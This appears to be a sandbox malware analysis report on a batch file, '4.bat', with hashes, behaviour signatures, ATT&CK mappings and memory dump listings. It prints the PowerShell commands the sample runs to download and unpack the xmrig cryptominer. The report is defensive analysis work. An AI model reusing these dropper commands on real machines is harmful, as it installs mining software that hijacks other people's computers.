c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1920 powershell.exe
6 1920 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1920 powershell.exe
2592 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1920 powershell.exe
2592 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1920 powershell.exe
Token: SeDebugPrivilege 2592 powershell.exe

flow	pid	process
5	1920	powershell.exe
6	1920	powershell.exe

pid	process
1920	powershell.exe
2592	powershell.exe

pid	process
1920	powershell.exe
2592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2912 wrote to memory of 1920	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 1920	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 1920	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 2592	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 2592	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 2592	2912	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2592

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1I5SO8R825IUUQZ5FD03.temp
Filesize
7KB

MD5
2d3a139e223bcb732f23af8d0c94a6d6

SHA1
8dfac4b34b5341befcf7e40f30d4af21f68191be

SHA256
ca4446db8a8688717a02d36ae68cfdcc24cf6e435791d76883a4c2450c53e9f1

SHA512
3864fbd0595d35e1f894a32720c6f15772013478de9bfb59f76674b53ce81061f534d2a2df775d23793d17f198bf7c52318b4f9a8492155d2211873fab5ac4d5

Download Submit
memory/1920-4-0x000007FEF5C1E000-0x000007FEF5C1F000-memory.dmp

Filesize
4KB

Download
memory/1920-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/1920-7-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/1920-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/1920-8-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/1920-9-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/1920-10-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/1920-11-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/1920-12-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/2592-19-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2592-18-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download